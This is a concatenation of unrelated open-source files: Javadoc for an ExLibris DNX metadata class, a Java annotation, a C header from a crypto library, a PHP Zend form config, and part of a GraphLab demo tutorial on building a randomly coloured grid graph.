<dl>
<dt>Enclosing class:</dt>
<dd><a href="../../../../../com/exlibris/digitool/common/dnx/DnxDocumentHelper.html" title="class in com.exlibris.digitool.common.dnx">DnxDocumentHelper</a></dd>
</dl>
<hr>
<br>
<pre>public class <span class="typeNameLabel">DnxDocumentHelper.CreatingApplication</span>
extends java.lang.Object</pre>
</li>
</ul>
</div>
<div class="summary">
<ul class="blockList">
<li class="blockList">
<!-- =========== FIELD SUMMARY =========== -->
<ul class="blockList">
<li class="blockList"><a name="field.summary">
<!-- -->
</a>
<h3>Field Summary</h3>
<table class="memberSummary" border="0" cellpadding="3" cellspacing="0" summary="Field Summary table, listing fields, and an explanation">
<caption><span>Fields</span><span class="tabEnd"> </span></caption>
<tr>
<th class="colFirst" scope="col">Modifier and Type</th>
<th class="colLast" scope="col">Field and Description</th>
</tr>
<tr class="altColor">
<td class="colFirst"><code>static java.lang.String</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../com/exlibris/digitool/common/dnx/DnxDocumentHelper.CreatingApplication.html#CREATINGAPPLICATIONEXTENSION">CREATINGAPPLICATIONEXTENSION</a></span></code> </td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>static java.lang.String</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../com/exlibris/digitool/common/dnx/DnxDocumentHelper.CreatingApplication.html#CREATINGAPPLICATIONNAME">CREATINGAPPLICATIONNAME</a></span></code> </td>
</tr>
<tr class="altColor">
<td class="colFirst"><code>static java.lang.String</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../com/exlibris/digitool/common/dnx/DnxDocumentHelper.CreatingApplication.html#CREATINGAPPLICATIONVERSION">CREATINGAPPLICATIONVERSION</a></span></code> </td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>static java.lang.String</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../com/exlibris/digitool/common/dnx/DnxDocumentHelper.CreatingApplication.html#DATECREATEDBYAPPLICATION">DATECREATEDBYAPPLICATION</a></span></code> </td>
</tr>
<tr class="altColor">
<td class="colFirst"><code>static java.lang.String</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../com/exlibris/digitool/common/dnx/DnxDocumentHelper.CreatingApplication.html#sectionId">sectionId</a></span></code> </td>
</tr>
</table>
</li>
</ul>
<!-- ======== CONSTRUCTOR SUMMARY ======== -->
<ul class="blockList">
<li class="blockList"><a name="constructor.summary">
<!-- -->
</a>
<h3>Constructor Summary</h3>
<table class="memberSummary" border="0" cellpadding="3" cellspacing="0" summary="Constructor Summary table, listing constructors, and an explanation">
<caption><span>Constructors</span><span class="tabEnd"> </span></caption>
<tr>
<th class="colOne" scope="col">Constructor and Description</th>
</tr>
<tr class="altColor">
<td class="colOne"><code><span class="memberNameLink"><a href="../../../../../com/exlibris/digitool/common/dnx/DnxDocumentHelper.CreatingApplication.html#CreatingApplication--">CreatingApplication</a></span>()</code> </td>
</tr>
<tr class="rowColor">
<td class="colOne"><code><span class="memberNameLink"><a href="../../../../../com/exlibris/digitool/common/dnx/DnxDocumentHelper.CreatingApplication.html#CreatingApplication-java.lang.String-java.lang.String-java.lang.String-java.lang.String-">CreatingApplication</a></span>(java.lang.String creatingApplicationName,
java.lang.String creatingApplicationVersion,
java.lang.String dateCreatedByApplication,
java.lang.String creatingApplicationExtension)</code>
<div class="block">Creates the CreatingApplication section.</div>
</td>
</tr>
</table>
</li>
</ul>
<!-- ========== METHOD SUMMARY =========== -->
<ul class="blockList">
<li class="blockList"><a name="method.summary">
<!-- -->
</a>
<h3>Method Summary</h3>
<table class="memberSummary" border="0" cellpadding="3" cellspacing="0" summary="Method Summary table, listing methods, and an explanation">
<caption><span id="t0" class="activeTableTab"><span>All Methods</span><span class="tabEnd"> </span></span><span id="t2" class="tableTab"><span><a href="javascript:show(2);">Instance Methods</a></span><span class="tabEnd"> </span></span><span id="t4" class="tableTab"><span><a href="javascript:show(8);">Concrete Methods</a></span><span class="tabEnd"> </span></span></caption>
<tr>
<th class="colFirst" scope="col">Modifier and Type</th>
<th class="colLast" scope="col">Method and Description</th>
</tr>
<tr id="i0" class="altColor">
<td class="colFirst"><code>java.lang.String</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../com/exlibris/digitool/common/dnx/DnxDocumentHelper.CreatingApplication.html#getCreatingApplicationExtension--">getCreatingApplicationExtension</a></span>()</code>
<div class="block">Gets the CreatingApplication creatingApplicationExtension.</div>
</td>
</tr>
<tr id="i1" class="rowColor">
<td class="colFirst"><code>java.lang.String</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../com/exlibris/digitool/common/dnx/DnxDocumentHelper.CreatingApplication.html#getCreatingApplicationName--">getCreatingApplicationName</a></span>()</code>
<div class="block">Gets the CreatingApplication creatingApplicationName.</div>
</td>
</tr>
<tr id="i2" class="altColor">
<td class="colFirst"><code>java.lang.String</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../com/exlibris/digitool/common/dnx/DnxDocumentHelper.CreatingApplication.html#getCreatingApplicationVersion--">getCreatingApplicationVersion</a></span>()</code>
<div class="block">Gets the CreatingApplication creatingApplicationVersion.</div>
</td>
</tr>
<tr id="i3" class="rowColor">
<td class="colFirst"><code>java.lang.String</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../com/exlibris/digitool/common/dnx/DnxDocumentHelper.CreatingApplication.html#getDateCreatedByApplication--">getDateCreatedByApplication</a></span>()</code>
<div class="block">Gets the CreatingApplication dateCreatedByApplication by UI date format.</div>
</td>
</tr>
<tr id="i4" class="altColor">
<td class="colFirst"><code>java.lang.String</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../com/exlibris/digitool/common/dnx/DnxDocumentHelper.CreatingApplication.html#getInternalDateCreatedByApplication--">getInternalDateCreatedByApplication</a></span>()</code>
<div class="block">Gets the CreatingApplication dateCreatedByApplication by internal date format (yyyy-MM-dd HH:mm:ss).</div>
</td>
</tr>
<tr id="i5" class="rowColor">
<td class="colFirst"><code><a href="../../../../../com/exlibris/digitool/common/dnx/DnxSectionRecord.html" title="class in com.exlibris.digitool.common.dnx">DnxSectionRecord</a></code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../com/exlibris/digitool/common/dnx/DnxDocumentHelper.CreatingApplication.html#getRecord--">getRecord</a></span>()</code> </td>
</tr>
<tr id="i6" class="altColor">
<td class="colFirst"><code>void</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../com/exlibris/digitool/common/dnx/DnxDocumentHelper.CreatingApplication.html#setCreatingApplicationExtension-java.lang.String-">setCreatingApplicationExtension</a></span>(java.lang.String s)</code>
<div class="block">Sets the CreatingApplication creatingApplicationExtension.</div>
</td>
</tr>
<tr id="i7" class="rowColor">
<td class="colFirst"><code>void</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../com/exlibris/digitool/common/dnx/DnxDocumentHelper.CreatingApplication.html#setCreatingApplicationName-java.lang.String-">setCreatingApplicationName</a></span>(java.lang.String s)</code>
<div class="block">Sets the CreatingApplication creatingApplicationName.</div>
</td>
</tr>
<tr id="i8" class="altColor">
<td class="colFirst"><code>void</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../com/exlibris/digitool/common/dnx/DnxDocumentHelper.CreatingApplication.html#setCreatingApplicationVersion-java.lang.String-">setCreatingApplicationVersion</a></span>(java.lang.String s)</code>
<div class="block">Sets the CreatingApplication creatingApplicationVersion.</div>
</td>
</tr>
<tr id="i9" class="rowColor">
<td class="colFirst"><code>void</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../com/exlibris/digitool/common/dnx/DnxDocumentHelper.CreatingApplication.html#setDateCreatedByApplication-java.lang.String-">setDateCreatedByApplication</a></span>(java.lang.String s)</code>
<div class="block">Sets the CreatingApplication dateCreatedByApplication.</div>
</td>
</tr>
<tr id="i10" class="altColor">
<td class="colFirst"><code>void</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../com/exlibris/digitool/common/dnx/DnxDocumentHelper.CreatingApplication.html#setRecord-com.exlibris.digitool.common.dnx.DnxSectionRecord-">setRecord</a></span>(<a href="../../../../../com/exlibris/digitool/common/dnx/DnxSectionRecord.html" title="class in com.exlibris.digitool.common.dnx">DnxSectionRecord</a> record)</code> </td>
</tr>
</table>
<ul class="blockList">
<li class="blockList"><a name="methods.inherited.from.class.java.lang.Object">
<!-- -->
</a>
<h3>Methods inherited from class java.lang.Object</h3>
<code>clone, equals, finalize, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait</code></li>
</ul>
</li>
</ul>
</li>
</ul>
</div>
<div class="details">
<ul class="blockList">
<li class="blockList">
<!-- ============ FIELD DETAIL =========== -->
<ul class="blockList">
<li class="blockList"><a name="field.detail">
<!-- -->
</a>
<h3>Field Detail</h3>
<a name="sectionId">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>sectionId</h4>
<pre>public static final java.lang.String sectionId</pre>
<dl>
<dt><span class="seeLabel">See Also:</span></dt>
<dd><a href="../../../../../constant-values.html#com.exlibris.digitool.common.dnx.DnxDocumentHelper.CreatingApplication.sectionId">Constant Field Values</a></dd>
</dl>
</li>
</ul>
<a name="CREATINGAPPLICATIONNAME">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>CREATINGAPPLICATIONNAME</h4>
<pre>public static final java.lang.String CREATINGAPPLICATIONNAME</pre>
<dl>
<dt><span class="seeLabel">See Also:</span></dt>
<dd><a href="../../../../../constant-values.html#com.exlibris.digitool.common.dnx.DnxDocumentHelper.CreatingApplication.CREATINGAPPLICATIONNAME">Constant Field Values</a></dd>
</dl>
</li>
</ul>
<a name="CREATINGAPPLICATIONVERSION">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>CREATINGAPPLICATIONVERSION</h4>
<pre>public static final java.lang.String CREATINGAPPLICATIONVERSION</pre>
<dl>
<dt><span class="seeLabel">See Also:</span></dt>
<dd><a href="../../../../../constant-values.html#com.exlibris.digitool.common.dnx.DnxDocumentHelper.CreatingApplication.CREATINGAPPLICATIONVERSION">Constant Field Values</a></dd>
</dl>
</li>
</ul>
<a name="DATECREATEDBYAPPLICATION">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>DATECREATEDBYAPPLICATION</h4>
<pre>public static final java.lang.String DATECREATEDBYAPPLICATION</pre>
<dl>
<dt><span class="seeLabel">See Also:</span></dt>
<dd><a href="../../../../../constant-values.html#com.exlibris.digitool.common.dnx.DnxDocumentHelper.CreatingApplication.DATECREATEDBYAPPLICATION">Constant Field Values</a></dd>
</dl>
</li>
</ul>
<a name="CREATINGAPPLICATIONEXTENSION">
<!-- -->
</a>
<ul class="blockListLast">
<li class="blockList">
<h4>CREATINGAPPLICATIONEXTENSION</h4>
<pre>public static final java.lang.String CREATINGAPPLICATIONEXTENSION</pre>
<dl>
<dt><span class="seeLabel">See Also:</span></dt>
<dd><a href="../../../../../constant-values.html#com.exlibris.digitool.common.dnx.DnxDocumentHelper.CreatingApplication.CREATINGAPPLICATIONEXTENSION">Constant Field Values</a></dd>
</dl>
</li>
</ul>
</li>
</ul>
<!-- ========= CONSTRUCTOR DETAIL ======== -->
<ul class="blockList">
<li class="blockList"><a name="constructor.detail">
<!-- -->
</a>
<h3>Constructor Detail</h3>
<a name="CreatingApplication--">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>CreatingApplication</h4>
<pre>public CreatingApplication()</pre>
</li>
</ul>
<a name="CreatingApplication-java.lang.String-java.lang.String-java.lang.String-java.lang.String-">
<!-- -->
</a>
<ul class="blockListLast">
<li class="blockList">
<h4>CreatingApplication</h4>
<pre>public CreatingApplication(java.lang.String creatingApplicationName,
java.lang.String creatingApplicationVersion,
java.lang.String dateCreatedByApplication,
java.lang.String creatingApplicationExtension)</pre>
<div class="block">Creates the CreatingApplication section.</div>
<dl>
<dt><span class="paramLabel">Parameters:</span></dt>
<dd><code>creatingApplicationName</code> - A designation for the name of the software program that created the object (for example, MSWord)<br/></dd>
<dd><code>creatingApplicationVersion</code> - The version of the software program that created the object.<br/></dd>
<dd><code>dateCreatedByApplication</code> - The actual or approximate date and time the object was created.<br/></dd>
<dd><code>creatingApplicationExtension</code> - Creating application information using semantic units defined externally to PREMIS.<br/></dd>
</dl>
</li>
</ul>
</li>
</ul>
<!-- ============ METHOD DETAIL ========== -->
<ul class="blockList">
<li class="blockList"><a name="method.detail">
<!-- -->
</a>
<h3>Method Detail</h3>
<a name="getRecord--">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>getRecord</h4>
<pre>public <a href="../../../../../com/exlibris/digitool/common/dnx/DnxSectionRecord.html" title="class in com.exlibris.digitool.common.dnx">DnxSectionRecord</a> getRecord()</pre>
</li>
</ul>
<a name="setRecord-com.exlibris.digitool.common.dnx.DnxSectionRecord-">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>setRecord</h4>
<pre>public void setRecord(<a href="../../../../../com/exlibris/digitool/common/dnx/DnxSectionRecord.html" title="class in com.exlibris.digitool.common.dnx">DnxSectionRecord</a> record)</pre>
</li>
</ul>
<a name="getCreatingApplicationName--">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>getCreatingApplicationName</h4>
<pre>public java.lang.String getCreatingApplicationName()</pre>
<div class="block">Gets the CreatingApplication creatingApplicationName.</div>
<dl>
<dt><span class="returnLabel">Returns:</span></dt>
<dd>creatingApplicationName A designation for the name of the software program that created the object (for example, MSWord)<br/></dd>
</dl>
</li>
</ul>
<a name="setCreatingApplicationName-java.lang.String-">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>setCreatingApplicationName</h4>
<pre>public void setCreatingApplicationName(java.lang.String s)</pre>
<div class="block">Sets the CreatingApplication creatingApplicationName.</div>
<dl>
<dt><span class="paramLabel">Parameters:</span></dt>
<dd><code>s</code> - A designation for the name of the software program that created the object (for example, MSWord)<br/></dd>
</dl>
</li>
</ul>
<a name="getCreatingApplicationVersion--">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>getCreatingApplicationVersion</h4>
<pre>public java.lang.String getCreatingApplicationVersion()</pre>
<div class="block">Gets the CreatingApplication creatingApplicationVersion.</div>
<dl>
<dt><span class="returnLabel">Returns:</span></dt>
<dd>creatingApplicationVersion The version of the software program that created the object.<br/></dd>
</dl>
</li>
</ul>
<a name="setCreatingApplicationVersion-java.lang.String-">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>setCreatingApplicationVersion</h4>
<pre>public void setCreatingApplicationVersion(java.lang.String s)</pre>
<div class="block">Sets the CreatingApplication creatingApplicationVersion.</div>
<dl>
<dt><span class="paramLabel">Parameters:</span></dt>
<dd><code>s</code> - The version of the software program that created the object.<br/></dd>
</dl>
</li>
</ul>
<a name="getDateCreatedByApplication--">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>getDateCreatedByApplication</h4>
<pre>public java.lang.String getDateCreatedByApplication()</pre>
<div class="block">Gets the CreatingApplication dateCreatedByApplication by UI date format.</div>
<dl>
<dt><span class="returnLabel">Returns:</span></dt>
<dd>dateCreatedByApplication The actual or approximate date and time the object was created.<br/></dd>
</dl>
</li>
</ul>
<a name="getInternalDateCreatedByApplication--">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>getInternalDateCreatedByApplication</h4>
<pre>public java.lang.String getInternalDateCreatedByApplication()</pre>
<div class="block">Gets the CreatingApplication dateCreatedByApplication by internal date format (yyyy-MM-dd HH:mm:ss).</div>
<dl>
<dt><span class="returnLabel">Returns:</span></dt>
<dd>dateCreatedByApplication The actual or approximate date and time the object was created.<br/></dd>
</dl>
</li>
</ul>
<a name="setDateCreatedByApplication-java.lang.String-">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>setDateCreatedByApplication</h4>
<pre>public void setDateCreatedByApplication(java.lang.String s)</pre>
<div class="block">Sets the CreatingApplication dateCreatedByApplication.</div>
<dl>
<dt><span class="paramLabel">Parameters:</span></dt>
<dd><code>s</code> - The actual or approximate date and time the object was created.<br/></dd>
</dl>
</li>
</ul>
<a name="getCreatingApplicationExtension--">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>getCreatingApplicationExtension</h4>
<pre>public java.lang.String getCreatingApplicationExtension()</pre>
<div class="block">Gets the CreatingApplication creatingApplicationExtension.</div>
<dl>
<dt><span class="returnLabel">Returns:</span></dt>
<dd>creatingApplicationExtension Creating application information using semantic units defined externally to PREMIS.<br/></dd>
</dl>
</li>
</ul>
<a name="setCreatingApplicationExtension-java.lang.String-">
<!-- -->
</a>
<ul class="blockListLast">
<li class="blockList">
<h4>setCreatingApplicationExtension</h4>
<pre>public void setCreatingApplicationExtension(java.lang.String s)</pre>
<div class="block">Sets the CreatingApplication creatingApplicationExtension.</div>
<dl>
<dt><span class="paramLabel">Parameters:</span></dt>
<dd><code>s</code> - Creating application information using semantic units defined externally to PREMIS.<br/></dd>
</dl>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</div>
</div>
<!-- ========= END OF CLASS DATA ========= -->
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<div class="bottomNav"><a name="navbar.bottom">
<!-- -->
</a>
<div class="skipNav"><a href="#skip.navbar.bottom" title="Skip navigation links">Skip navigation links</a></div>
<a name="navbar.bottom.firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../../../overview-summary.html">Overview</a></li>
<li><a href="package-summary.html">Package</a></li>
<li class="navBarCell1Rev">Class</li>
<li><a href="package-tree.html">Tree</a></li>
<li><a href="../../../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../../../index-all.html">Index</a></li>
<li><a href="../../../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li><a href="../../../../../com/exlibris/digitool/common/dnx/DnxDocumentHelper.Collection.html" title="class in com.exlibris.digitool.common.dnx"><span class="typeNameLink">Prev Class</span></a></li>
<li><a href="../../../../../com/exlibris/digitool/common/dnx/DnxDocumentHelper.EnvHardwareRegistry.html" title="class in com.exlibris.digitool.common.dnx"><span class="typeNameLink">Next Class</span></a></li>
</ul>
<ul class="navList">
<li><a href="../../../../../index.html?com/exlibris/digitool/common/dnx/DnxDocumentHelper.CreatingApplication.html" target="_top">Frames</a></li>
<li><a href="DnxDocumentHelper.CreatingApplication.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_bottom">
<li><a href="../../../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_bottom");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<div>
<ul class="subNavList">
<li>Summary: </li>
<li>Nested | </li>
<li><a href="#field.summary">Field</a> | </li>
<li><a href="#constructor.summary">Constr</a> | </li>
<li><a href="#method.summary">Method</a></li>
</ul>
<ul class="subNavList">
<li>Detail: </li>
<li><a href="#field.detail">Field</a> | </li>
<li><a href="#constructor.detail">Constr</a> | </li>
<li><a href="#method.detail">Method</a></li>
</ul>
</div>
<a name="skip.navbar.bottom">
<!-- -->
</a></div>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
</body>
</html>
| bsd-3-clause |
swhgoon/scaled | api/src/main/java/scaled/Var.java | 753 | //
// Scaled - a scalable editor extensible via JVM languages
// http://github.com/scaled/scaled/blob/master/LICENSE
package scaled;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
/**
* Defines a configuration var. Modes define configuration vars which can subsequently be
* customized by the user in a mode configuration file, or interactively.
*/
@Target(ElementType.METHOD)
@Retention(RetentionPolicy.RUNTIME)
public @interface Var {
/** A documentary description of this configuration var. This will be shown to the user when
* they ask to describe the var, so don't hold back on the details. */
String value ();
}
| bsd-3-clause |
GaloisInc/hacrypto | src/C/libpqcrypto/crypto_kem/mceliece6960119/ref/benes.h | 227 | /*
This file is for Benes network related functions
*/
#ifndef BENES_H
#define BENES_H
#include "gf.h"
void apply_benes(unsigned char *, const unsigned char *, int);
void support_gen(gf *, const unsigned char *);
#endif
| bsd-3-clause |
yuri-calabrez/code-education-php7 | config/autoload/form.global.php | 996 | <?php
use Zend\View;
use \CodeEmailMKT\Infrastructure;
use CodeEmailMKT\Application\Form\{CustomerForm, LoginForm, TagForm};
use CodeEmailMKT\Application\Form\Factory\{CustomerFormFactory, LoginFormFactory, TagFormFactory};
$forms = [
'dependencies' => [
'aliases' => [
],
'invokables' => [
],
'factories' => [
View\HelperPluginManager::class => Infrastructure\View\HelperPluginManagerFactory::class,
LoginForm::class => LoginFormFactory::class,
CustomerForm::class => CustomerFormFactory::class,
TagForm::class => TagFormFactory::class
]
],
'view_helpers' => [
'aliases' => [
],
'invokables' => [
],
'factories' => [
'identity' => View\Helper\Service\IdentityFactory::class
]
]
];
$configProviderForm = (new \Zend\Form\ConfigProvider())->__invoke();
return Zend\Stdlib\ArrayUtils::merge($configProviderForm, $forms); | bsd-3-clause |
ekoontz/graphlab | apps/demo/demo.html | 43910 | <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>GraphLab 1.0 Demo Tutorial</title>
<!-- To generate your own colored code visit http://www.bedaux.net/cpp2html/ -->
<style type="text/css">
.comment { color: #000000; font-style:italic;}
th {font-weight:bold; text-align:center;}
td {padding:1px; border:1px solid black;vertical-align:top;}
table {padding:1px; background:#EFEFFF; border: 1px solid black;vertical-align:top;border-collapse:collapse;}
.pre { color: #000099; }
.string { color: #009900; }
.char { color: #009900; }
.float { color: #996600; }
.int { color: #999900; }
.bool { color: #000000; font-weight: bold; }
.type { color: #FF6633; }
.flow { color: #FF0000; }
.keyword { color: #990000; }
.codebox {padding:2px 6px 4px 6px; background-color: #efefff; border: 1px solid black; font-family:monospace,courier;white-space:pre }
keyword {color:#990000;}
graphlabword {color:#009900;}
.operator { color: #663300; font-weight: bold; }
.operator { color: #663300; font-weight: bold; }
</style>
</head>
<body>
<h1> GraphLab 1.0 Demo Tutorial </h1>
<p>
This demo provides a synthetic application which makes use a good
number of GraphLab concepts. Note that this demo app is intentionally
built to use as many of graphlab concepts as possible. This may not be
typical for most GraphLab applications.
</p>
<table>
<tr> <th> Grid Model </th> </tr>
<tr><td>
<pre>
x----x----x
| | |
x----o----o
| | |
o----x----x
</pre>
</td></tr><table>
<p>
Given a DIMxDIM undirected grid graph where each vertex is assigned a
random color, either black or red (represented as a boolean value)
Each vertex then makes a local random decision:
</p>
<ul>
<li> become red with probabilty proportionate to the number of red neighbors </li>
<li> become black with probabilty proportionate to the number of black neighbors </li>
</ul>
<p>
Clearly, the two stable outcomes are where all vertices are
black, or where all vertices are red. We are interested in knowing
how many flips each vertex took on average.
</p><p>
Also, since GraphLab only has directed edges, we will build the graph
by duplicating every edge in both directions.
</p>
<h2> Includes </h2>
<p>
We first need to include some headers:
<graphlabword> graphlab.hpp </graphlabword> includes everything you will ever need from GraphLab.
</p>
<p class="codebox"><span class="comment">// standard C++ headers
</span><span class="pre">#include <iostream>
</span><span class="comment">
// includes the entire graphlab framework
</span><span class="pre">#include <graphlab.hpp> </span>
</p>
<h2> Graph Data </h2>
<p>
First we will design the graph data. For each vertex, we will need to
know its current color, and a counter to count the number of flips it
took. We will use a boolean to represent color, using <keyword> false </keyword> to represent Black and using <keyword> true</keyword> to represent Red.
</p>
<p class="codebox"><span class="keyword">struct</span> vertex_data<span class="operator">:</span><span class="keyword"> public</span> graphlab<span class="operator">::</span>unsupported_serialize<span class="operator"> {</span>
size_t numflips<span class="operator">;</span><span class="type">
bool</span> color<span class="operator">;
};</span></p>
<p>
GraphLab provides facilities to directly save/load graphs from
disk. However, to do so, GraphLab must be able to understand your
datastructures. If you are not interested in saving/loading graphs,
you can simply inherit from <graphlabword>unsupported_serialize </graphlabword>. Otherwise, you will
need write a save/load function pair for your struct.
</p><p>
To write a save/load function see the next code box.
The serialization mechanism is simple to use and it understands all
basic datatypes as well as standard STL containers. If the STL
container contains non-basic datatypes (such as a struct), save/load
functions must be written for the datatype.
If we wanted to be able to save the graph to a file we would
include the following functions and remove
graphlab::unsupported_serialize
</p>
<p class="codebox"> <span class="type">void</span> save<span class="operator">(</span>oarchive<span class="operator">&</span> archive<span class="operator">)</span><span class="keyword"> const</span><span class="operator"> {</span>
archive<span class="operator"> <<</span> numflips<span class="operator"> <<</span> color<span class="operator">;
}</span><span class="type">
void</span> load<span class="operator">(</span>iarchive<span class="operator">&</span> archive<span class="operator">) {</span>
archive<span class="operator"> >></span> numflips<span class="operator"> >></span> color<span class="operator">;
}</span>
</p>
<p>
In this example, we do not need edge data. However GraphLab
currently does not have a mechanism to completely disable the use of
edge data. Therefore, we will just put an arbitrary small
placeholder type on the edges.
<p class="codebox"></span><span class="keyword">typedef</span><span class="type"> char</span> edge_data<span class="operator">;</span><span class="comment">
</p>
<p>
Note that we do not need to write a save/load function here since
GraphLab's serializer already understands basic datatypes.
</p>
<h2> Creating the Graph </h2>
<p>
The GraphLab graph is templatized over the vertex data as well as the
edge data. Here we define the type of the graph using a <span class="keyword"> typedef </span> for convenience. </p>
<p class=codebox><span class="keyword">typedef</span> graphlab<span class="operator">::</span>graph<span class="operator"><</span>vertex_data<span class="operator">,</span> edge_data<span class="operator">></span> graph_type<span class="operator">;</span></p>
<p>
Since graphlab is heavily templatized and can be inconvenient to use
in its standard form, the <graphlabword>graphlab::types</graphlabword> structure provides
convenient typedefed "shortcuts" to figure out the other graphlab
types easily. </p>
<p class=codebox><span class="keyword">typedef</span> graphlab<span class="operator">::</span>types<span class="operator"><</span>graph_type<span class="operator">></span> gl<span class="operator">;</span></p>
Lets define a function to create the graph:
<p class="codebox"><span class="type">void</span> create_graph<span class="operator">(</span>graph_type<span class="operator">&</span> g<span class="operator">,</span>
size_t dim<span class="operator">) {</span></p>
<p>
We first create create dim * dim vertices.the graph's <graphlabword>add_vertex(vertexdata)</graphlabword> function takes the vertex data as input
and returns the vertex id of the new vertex. The ids are guaranteed to be sequentially numbered. </p>
<p class="codebox"><span class="flow"> for</span><span class="operator"> (</span>size_t i<span class="operator"> =</span><span class="int"> 0</span><span class="operator">;</span>i<span class="operator"> <</span> dim<span class="operator"> *</span> dim<span class="operator">; ++</span>i<span class="operator">) {</span><span class="comment">
// create the vertex data, randomizing the color
</span> vertex_data vdata<span class="operator">;</span>
vdata<span class="operator">.</span>numflips<span class="operator"> =</span><span class="int"> 0</span><span class="operator">;</span><span class="flow">
if</span><span class="operator"> (</span>gl<span class="operator">::</span>random<span class="operator">::</span>rand_int<span class="operator">(</span><span class="int">1</span><span class="operator">) ==</span><span class="int"> 1</span><span class="operator">)</span> vdata<span class="operator">.</span>color<span class="operator"> =</span><span class="bool"> true</span><span class="operator">;</span><span class="flow">
else</span> vdata<span class="operator">.</span>color<span class="operator"> =</span><span class="bool"> false</span><span class="operator">;</span><span class="comment">
// create the vertex
</span> g<span class="operator">.</span>add_vertex<span class="operator">(</span>vdata<span class="operator">);
}</span></p>
<p>
Now we can create the edges. The <graphlabword>add_edge(i,j,edgedata)</graphlabword> function creates
an edge from i->j. with the edgedata attached. It then returns the id
of the new edge. The ids are guaranteed to be sequentially numbered.
GraphLab does NOT support duplicated edges, and currently has no facilities
for checking for accidental duplicated edge insertions at the
graph construction stage. (It is quite costly to do so)
Any duplicated edges will result in an assertion failure at the later
'finalize' stage. </p>
<p class="codebox"> edge_data edata<span class="operator">;</span><span class="flow">
for</span><span class="operator"> (</span>size_t i<span class="operator"> =</span><span class="int"> 0</span><span class="operator">;</span>i<span class="operator"> <</span> dim<span class="operator">; ++</span>i<span class="operator">) {</span><span class="flow">
for</span><span class="operator"> (</span>size_t j<span class="operator"> =</span><span class="int"> 0</span><span class="operator">;</span>j<span class="operator"> <</span> dim<span class="operator"> -</span><span class="int"> 1</span><span class="operator">; ++</span>j<span class="operator">) {</span><span class="comment">
// add the horizontal edges in both directions
</span> g<span class="operator">.</span>add_edge<span class="operator">(</span>dim<span class="operator"> *</span> i<span class="operator"> +</span> j<span class="operator">,</span> dim<span class="operator"> *</span> i<span class="operator"> +</span> j<span class="operator"> +</span><span class="int"> 1</span><span class="operator">,</span> edata<span class="operator">);</span>
g<span class="operator">.</span>add_edge<span class="operator">(</span>dim<span class="operator"> *</span> i<span class="operator"> +</span> j<span class="operator"> +</span><span class="int"> 1</span><span class="operator">,</span> dim<span class="operator"> *</span> i<span class="operator"> +</span> j<span class="operator">,</span> edata<span class="operator">);</span><span class="comment">
// add the vertical edges in both directions
</span> g<span class="operator">.</span>add_edge<span class="operator">(</span>dim<span class="operator"> *</span> j<span class="operator"> +</span> i<span class="operator">,</span> dim<span class="operator"> * (</span>j<span class="operator"> +</span><span class="int"> 1</span><span class="operator">) +</span> i<span class="operator">,</span> edata<span class="operator">);</span>
g<span class="operator">.</span>add_edge<span class="operator">(</span>dim<span class="operator"> * (</span>j<span class="operator"> +</span><span class="int"> 1</span><span class="operator">) +</span> i<span class="operator">,</span> dim<span class="operator"> *</span> j<span class="operator"> +</span> i<span class="operator">,</span> edata<span class="operator">);
}
}</span></p>
<p>
Now that the graph is fully constructed, we need to call <graphlabword>finalize()</graphlabword>.
</p>
<p class="codebox"> g<span class="operator">.</span>finalize<span class="operator">();
}</span></p>
